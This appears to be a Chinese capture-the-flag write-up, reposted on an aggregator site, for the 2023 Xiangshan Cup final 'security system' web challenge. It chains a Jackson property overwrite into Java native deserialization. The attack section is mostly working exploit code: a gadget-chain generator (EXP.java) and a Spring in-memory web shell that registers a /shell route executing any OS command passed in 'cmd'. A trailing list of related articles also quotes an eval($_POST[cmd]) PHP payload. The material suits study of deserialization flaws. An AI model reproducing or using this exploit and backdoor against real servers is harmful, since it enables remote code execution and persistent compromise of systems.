【Web】2023香山杯决赛 security system 题解

目录

step -1

step 0

step 1 

step 2

step 3


step -1

①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马

②jackson反序列化基础:

ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";
Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中,Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象,并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是,在使用@type字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质:

如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap,而 JSON 字符串中包含了 @type 字段,那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理,而不会将其视为 autotype。

假设有以下 JSON 数据:

{"@type": "com.example.Dog","name": "Buddy","breed": "Golden Retriever"
}

 @type 字段将被作为普通属性存储在 LinkedHashMap 中,而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例,其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化

step 1 

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true,因为是static,所以可改属性值

②SecurityCheck.ismap() 返回一个HashSet

 

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

 

 add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位

 

 

 

③SecurityCheck.deObject

这段代码主要用于在反序列化过程中,根据@type字段的值动态确定要创建的对象类型,并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes

 

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "useless");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);byte[] poc = ser(val);System.out.println(Base64.getEncoder().encodeToString(poc));}public static byte[] ser(Object obj) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);objectOutputStream.writeObject(obj);objectOutputStream.close();return baos.toByteArray();}public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templates);Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

SpringMemShell

package com.example.jackson;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{static {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");configField.setAccessible(true);RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();SpringMemShell springControllerMemShell = new SpringMemShell();mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception hi) {
//            hi.printStackTrace();}}public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

 

 ​​​​​第一次打入来覆盖SecurityCheck

第二次打入来原生反序列化注入内存马 

 

成功写入,命令执行拿flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/10545.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【GESP】2024年03月图形化二级 -- 找因数

找因数 【题目描述】 默认小猫角色和白色背景。 小杨最近刚刚学习了因数的概念,具体来说,如果一个正整数 a a a 可以被另一个正整数 b b b 整除,那么我们就说 b b b 是 a a a 的因数,例如6可以被1、2、3、6整除,…

通过物联网管理多台MQTT设备-基于米尔T527开发板

本篇测评由电子工程世界的优秀测评者“JerryZhen”提供。 本文将介绍基于米尔电子MYD-LT527开发板的网关方案测试。 一、系统概述 基于米尔-全志 T527设计一个简易的物联网网关,该网关能够管理多台MQTT设备,通过MQTT协议对设备进行读写操作,…

i春秋-Test

题目 解题 参考WP https://blog.csdn.net/qq_40654505/article/details/107142533/目录扫描 复现wp payload为: search.php?searchtype5&tid&areaeval($_POST[cmd])使用蚁剑连接 http://eci-2ze4iyhwj7xvb68bsb2t.cloudeci1.ichunqiu.com:80/search.ph…

在 Navicat 17 中探索表配置文件

距离 Navicat 17(英文版)的发布还有不到一周的时间,现在是深入研究新的表配置文件功能的最佳时机。它允许我们保存经常用于表的筛选、排序和列显示的不同组合。所以,事不宜迟,让我们开始吧! 创建表配置文件…

leetcode——反转链表

206. 反转链表 - 力扣(LeetCode) 思路:创建三个指针n1,n2,n3,遍历原链表,通过三者之间的关系将链表反转。下面给出图示: 下面给出题解代码: typedef struct ListNode ListNode; struct List…

parallels desktop19最新免费Mac电脑虚拟机软件

Parallels Desktop是一款运行在Mac电脑上的虚拟机软件,它允许用户在Mac系统上同时运行多个操作系统,比如Windows、Linux等。通过这款软件,Mac用户可以轻松地在同一台电脑上体验不同操作系统的功能和应用程序,而无需额外的硬件设备…

自拍欺骗成为流行的身份证件欺诈技术

据 Socure 称,文档图像叠加是 2023 年最流行的身份证件欺诈技术,在所有被拒绝的身份证件中,有 63% 发生这种情况。 自拍欺骗和冒充在与文件相关的身份欺诈中占主导地位 当用户拍摄照片或使用 ID 的屏幕截图图像(而不是提供文档的…

26、Flink 的状态数据结构升级

状态数据结构升级 a)概述 Flink 流应用通常被设计为永远或者长时间运行,与所有长期运行的服务一样,应用程序需要随着业务的迭代而进行调整,应用所处理的数据 schema 也会随着进行变化。 升级状态类型的数据 schema &#xff0c…

初始Java篇(JavaSE基础语法)(8)认识String类(上)

找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏:JavaSE 简单介绍:在C语言中已经涉及到字符串了,但是在C语言中要表示字符串只能使用字符数组或者字符指针,可…

leetcode算法笔记-算法复杂度

对于时间复杂度,主要包括三种情况: 渐进紧确界: O渐进上界: 渐进下界: 加法原则:不同的时间复杂度相加取阶数最高的 乘法原则:不同的时间复杂度相乘,结果为时间复杂度的乘积 阶乘…

电脑nvidia驱动和合适版本的duda--自用 回忆版

参考文献:http://t.csdnimg.cn/ecDuG 内容很多抄的这个,主要害怕链接失效 一、Ubuntu 18.04 安装NVIDIA显卡驱动 1、查看本机显卡能够配置的驱动信息 ubuntu-drivers devices所以可以看出,推荐 nvidia-driver-530 - distro non-free 2、安…

Kubernetes学习-深入Pod篇(一) 创建Pod,Pod配置文件详解

🏷️个人主页:牵着猫散步的鼠鼠 🏷️系列专栏:Kubernetes渐进式学习-专栏 🏷️个人学习笔记,若有缺误,欢迎评论区指正 1.前言 我们在前面的文章讲解了Kubernetes的核心概念和服务部署&#x…

MyBatis-plus(一):快速入门

目录 一、MyBatis-plus 快速入门 1、原理 2、实体类命名规则 3、常见注解 4、主键 id 策略 5、使用 TableField 的常见场景 6、常用配置 二、核心功能 1、条件构造器 2、自定义 SQL 3、IService 接口 一、MyBatis-plus 快速入门 1、原理 MyBatisPlus 通过扫描实体…

算法学习012-不同路径 c++动态规划算法实现 中小学算法思维学习 信奥算法解析

目录 C不同路径 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、运行结果 五、考点分析 六、推荐资料 C不同路径 一、题目要求 1、编程实现 一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为 “Start” &#xff09…

Golang | Leetcode Golang题解之第78题子集

题目: 题解: func subsets(nums []int) (ans [][]int) {set : []int{}var dfs func(int)dfs func(cur int) {if cur len(nums) {ans append(ans, append([]int(nil), set...))return}set append(set, nums[cur])dfs(cur 1)set set[:len(set)-1]df…

计算概论学习笔记(2)

感谢北大李戈老师讲解的计算概论。 【道阻且长,行则将至】 很多年没有intensive coding,现在这个系列是coding retake,一点点回忆之前的知识,希望能重回到一线。主要内容包括C,C,Pytorch学术前沿项目学习和实践,预计…

iOS 安装cocoapds

注意 CocoaPods安装是基于ruby环境的,所以要安装CocoaPods先要安装Ruby环境,国内不能直接安装,只能通过VPN或淘宝的Ruby镜像来访问。 安装过程 gem sources --remove https://rubygems.org/ ** (注意是两个“-”,否则会移除失败) …

掌握文件重命名技巧:一次性处理多路径文件并赋予独立编号

在日常工作和生活中,我们经常需要处理大量的文件,而文件重命名则是一项非常常见的任务。如何高效地一次性处理多路径文件并赋予独立编号,成为许多用户关注的焦点。本文将介绍云炫文件管理器一些实用的文件重命名技巧,帮助您轻松应…

前后端完全开源!功能丰富的在线教室项目:Agora Flat

Agora Flat:高效集成的在线教室解决方案,重塑互动学习新体验。- 精选真开源,释放新价值。 概览 Agora Flat是在GitHub平台上公开分享的一个全面开源项目,它精心设计为一个高性能的在线教室解决方案,旨在便捷地搭建支持…

锐捷EWEB网管系统RCE漏洞

文章目录 免责声明漏洞描述漏洞原理影响版本漏洞复现修复建议 免责声明 该文章只为学习和交流,请不要做违法乱纪的事情,如有与本人无关 漏洞描述 锐捷网管系统是由北京锐捷数据时代科技有限公司开发的新一代基于云的网络管理软件,以"…